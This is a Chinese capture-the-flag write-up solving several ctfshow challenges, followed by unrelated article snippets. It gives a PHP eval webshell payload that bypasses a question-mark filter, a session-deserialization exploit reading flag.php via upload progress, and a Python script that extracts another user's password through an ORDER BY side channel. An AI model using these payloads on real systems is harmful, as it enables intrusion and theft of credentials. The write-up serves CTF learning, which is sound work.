ctfshow解题,知识点学习

1.easy_zip(misc)

1)打开环境后是一个压缩包,解压里面有个flag.txt文件需要密码,

2)直接用工具爆破,即可找到密码

2.easy_eval

1)进入题目环境,先进行代码审计

首先说是要使用post传参,传入参数code

然后是str_replace()把字符串中某一的字符,换成另了空格字符并且区分大小写。

然后存在一个过滤,把问号过滤掉了。

所以我们常见的<?php  ?><? ?>就不可以用了。但是我们还可以用<script></script>

这种php标签可以不用问号。

2)根据代码审计结果,构建传入的参数

code=<script language='PHP'>eval($ POST["cmd"]);</script>&cmd=system("ls")

注:通过eval()函数来执行通过POST请求发送的cmd参数中的命令。但是,<script>标签是HTML中用于JavaScript代码的标签,这里<?php  ?><? ?>被过滤,所以才使用该标签,所以它并不是PHP的语法。

3)发现出现回显,有index.php文件,然后查询一下有没有flag

&cmd=system("find /f*");

4)有回显,说明有flag,直接cat

3.剪刀石头布

1)

注:ini_set是PHP内置的函数,用于在运行时更改配置选项的值。通过调用ini_set函数,可以修改php.ini文件中的配置设置,而无需手动编辑配置文件

2)进来看到getflag,点击说是要赢一百才能拿到flag

3)查看源码,里面有提示

看着ini_set('session.serialize_handler', 'php'),这里应该又是反序列化了

这里它还给了phpinfo界面,查看一下

因为反序列化我还不太懂,就找了篇大佬的php来看了下

他是这样说的:这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。

__destruct方法中有file_get_contents函数可以来读取flag.所以这题主要思路就是构造序列化串利用服务器处理器不同造成的安全问题通过 PHP_SESSION_UPLOAD_PROGRESS来提交我们的序列化串。 在这里对session反序列化进行简单说明。网上相关讲解也很多

这里需要修改类属性

<?php
class Game{public $log;public function __construct(){$this->log = "/var/www/html/flag.php";}
}
$a = new Game();
echo serialize($a);
//|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>

然后就是利用session上传进度提交我们的序列化串了,

<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><input type="file" name="file" /><input type="submit" />
</form>
</body>
</html>

然后抓包改数据包,修改文件名为序列化串,然后发送得到flag

4.CTFshow web1

1)进入题目环境,又是一个弱密码的爆破界面

2)先看一下源码

貌似这里有提示,简单分析一下

  1. var p=$.md5($(".password").val());:这行代码使用了一个 JavaScript 库中的 md5 函数,该函数用于计算字符串的 MD5 散列值。根据代码中的写法,似乎是通过 jQuery 库的 $ 对象来调用 md5 函数。它首先获取了类名为 .password 的输入框的值,然后计算其 MD5 散列值,并将结果存储在变量 p 中。

  2. $(".password").val(p);:这行代码将计算出的 MD5 散列值设置为类名为 .password 的输入框的值。换句话说,它将用户输入的密码转换为 MD5 散列值,并将该散列值填充到密码输入框中,

3)试了一下,还是直接扫一下看看

4)扫出来www.zip文件

5)依次打开几个文件

login.php能禁的基本都禁干净了,登录页面貌似没有注入的可能。reg.php也是如此,所以注册页面也没可能了。剩下最后一个就是显示信息的页面了。这里可以看到在数据库中是把所有的字段(包括密码)都给查出来了,但是没有显示密码的地方

我们可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的
顺序大致是这样,这时我们就可以判断密码的第一个字符为f,这里还是用python代码比较快,

直接拿大佬的脚本来跑一下即可得到flag

#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):print("*")for i in s:#print(i)l=""l=k+il2 = k+chr(ord(i)-1)data={'username':l,'email':'c','nickname':'c','password':l}data2={'username':l,'password':l}if (l=='flag'):k='flag'print(k)breaksession = requests.session()r1 = session.post(url1,data)r2 = session.post(url2,data)r3 = session.get(url3)t = r3.text#print(l)if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):k=l2print(k)break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/22454.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

常用CSS样式及属性代码

常用CSS样式及属性代码 前言1.常用css样式1.1. 背景属性&#xff1a;background1.2. 字体属性&#xff1a;font1.3. 边框属性&#xff1a;Border1.4. 盒子属性&#xff1a;Box1.5. 列表属性&#xff1a;List-style1.6. 定位属性&#xff1a;Position1.7. 区块属性&#xff1a;B…

springboot整合mongodb如何通过事务保障数据的完整性

在Spring Boot中整合MongoDB并利用事务来保障数据的完整性与一致性&#xff0c;主要是通过Spring Data MongoDB和MongoDB自身的事务支持来实现的。以下是详细的步骤和说明&#xff1a; 1. 确保MongoDB版本和支持 确保你的MongoDB服务器版本在4.0及以上&#xff0c;因为MongoD…

让你的博客实现负载均衡

零、缘起 有时候博客突然挂了&#xff0c;发现服务器厂商出了问题&#xff0c;很忧伤&#xff0c;我正在写着或查阅自家博客那种不可xx的内容。这时想着&#xff0c;如果这个博客有负载均衡就好了&#xff0c;空了想着实现下。 一分钟了解负载均衡的一切 选择第二种【反向代…

python_04

37、列表推导式 # 作用&#xff1a;快速生成列表 # 列表变量名 [x for x in range(开始值&#xff0c;结束值&#xff0c;步长) if 条件] # 注意&#xff1a;左闭右开 list1 [i for i in range(0,100)] print(list1) # list1 [i for i in range(0,100)] # print(list1)list…

MoE 大模型的前世今生

节前&#xff0c;我们星球组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂朋友、参加社招和校招面试的同学。 针对算法岗技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备、面试常考点分享等热门话题进行了深入的讨论。 合集&#x…

Vue3整合Tailwindcss之padding样式类

04 常用基础样式 padding 样式类 什么是内边距 基础样式 ClassPropertiesp-0padding: 0px;px-0padding-left: 0px; padding-right: 0px;py-0padding-top: 0px; padding-bottom: 0px;ps-0padding-inline-start: 0px;pe-0padding-inline-end: 0px;pt-0padding-top: 0px;pr-0pa…

kafka-生产者监听器(SpringBoot整合Kafka)

文章目录 1、生产者监听器1.1、创建生产者监听器1.2、发送消息测试1.3、使用Java代码创建主题分区副本1.4、application.yml配置----v1版1.5、屏蔽 kafka debug 日志 logback.xml1.6、引入spring-kafka依赖1.7、控制台日志 1、生产者监听器 1.1、创建生产者监听器 package co…

图片批量纵向拼接神器:轻松插入间隔像素,生成真彩绚丽长图,让你的创意无限延伸!

在数字艺术的世界里&#xff0c;图片拼接早已不再是简单的组合&#xff0c;而是创意与技术的融合。如果你正在寻找一款能够快速将图片进行纵向拼接&#xff0c;并且能轻松插入间隔像素&#xff0c;同时保证色彩绚丽的神器&#xff0c;那么&#xff0c;我们首助编辑高手的长图拼…

如何实现单例模式及不同实现方法分析-设计模式

这是 一道面试常考题&#xff1a;&#xff08;经常会在面试中让手写一下&#xff09; 什么是单例模式 【问什么是单例模式时&#xff0c;不要答非所问&#xff0c;给出单例模式有两种类型之类的回答&#xff0c;要围绕单例模式的定义去展开。】 单例模式是指在内存中只会创建…

React 中的 ForwardRef的使用

React 中的 forwardRef Hooks 是指将子组件的 Dom 节点暴露给给父组件&#xff0c;在 React 中如果想要访问 Dom 节点是通过 useRef 这个 hooks&#xff0c;而 forwardHook 在 useRef 做了扩展。useRef 是当前组件中间中的节点&#xff0c;而 forwardRef 相当于做了一层封装将父…

springAOP 使用aop代替SqlsessionUtil业务层操作

在Maven框架pom配置文件中导入spring相关依赖&#xff1a; <dependencies><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.33</version></dependency><dependency…

【前端每日基础】day36——vue组件的通信方式

在Vue.js中&#xff0c;组件通信是一个重要的概念&#xff0c;它允许组件之间进行数据传递和事件处理。Vue.js提供了多种方式来实现组件之间的通信&#xff0c;适用于不同的场景和需求。以下是Vue组件通信的几种常见方式及其详细介绍&#xff1a; 父子组件通信 父组件向子组件…

6、资产评估专家指引第9号—数据资产评估

本专家指引是一种专家建议。评估机构执行资产评估业务,可以参照本专家指引,也可以根据具体情况采用其他适当的做法。中国资产评估协会将根据业务发展,对本专家指引进行更新。 第一章 引言 第一条 针对数据资产特点,结合目前实际操作中的部分难点和要点,中国资产评估协会…

mac配置Personal Access Tokens

背景 在macbook环境中&#xff0c;使用idea、android studio、xcode时&#xff0c;使用gitlab需要登录&#xff0c;而直接使用文明密码是不允许登录的&#xff0c;这时就需要换种方式&#xff0c;这里有两种&#xff1a;ssh、Access Tokens&#xff0c;在公用电脑上推荐使用Ac…

第一个SpringBoot项目

目录 &#x1f4ad;1、新建New Project IDEA2023版本创建Sping项目只能勾选17和21&#xff0c;却无法使用Java8&#xff1f;&#x1f31f; 2、下载JDK 17&#x1f31f; &#x1f4ad;2、项目创建成功界面 1、目录 &#x1f31f; 2、pom文件&#x1f31f; &#x1f4ad;3、…

前K个高频元素-力扣

本题想到的解法是使用哈希表首先统计数组中每个元素出现的次数&#xff0c;然后对出现次数进行排序&#xff0c;最后进行输出。看了题解学习到使用优先级队列 小顶堆来完成&#xff0c;小顶堆的排序规则由自己来定义。 代码如下&#xff1a; class Solution { public:class My…

ctfshow 年CTF web

除夕 Notice: Undefined index: year in /var/www/html/index.php on line 16 <?phpinclude "flag.php";$year $_GET[year];if($year2022 && $year1!2023){echo $flag; }else{highlight_file(__FILE__); } 弱比较绕过很简单&#xff0c;连函数都没有直…

代码随想录算法训练营Day59 | 503.下一个更大元素II 42. 接雨水

代码随想录算法训练营Day59 | 503.下一个更大元素II 42. 接雨水 LeetCode 503.下一个更大元素II 题目链接&#xff1a;LeetCode 503.下一个更大元素II 思路&#xff1a; class Solution { public:vector<int> nextGreaterElements(vector<int>& nums) {// …

【数据分享】中国民政统计年鉴(1949-2022)

大家好&#xff01;今天我要向大家介绍一份重要的中国民政统计数据资源——《中国民政统计年鉴》。这份年鉴涵盖了从1949年到2022年中国民政统计全面数据&#xff0c;并提供限时免费下载。&#xff08;无需分享朋友圈即可获取&#xff09; 数据介绍 从1949年到2022年&#xf…

程序员的职业素养

在当今这个快速发展的技术世界中&#xff0c;程序员的职业素养已经成为了一个热门话题。随着技术的不断进步&#xff0c;程序员不仅需要掌握强大的技术能力&#xff0c;更需要具备一系列的职业素养来确保他们能够在职业生涯中取得成功。 《程序员的职业素养》一书由著名的软件工…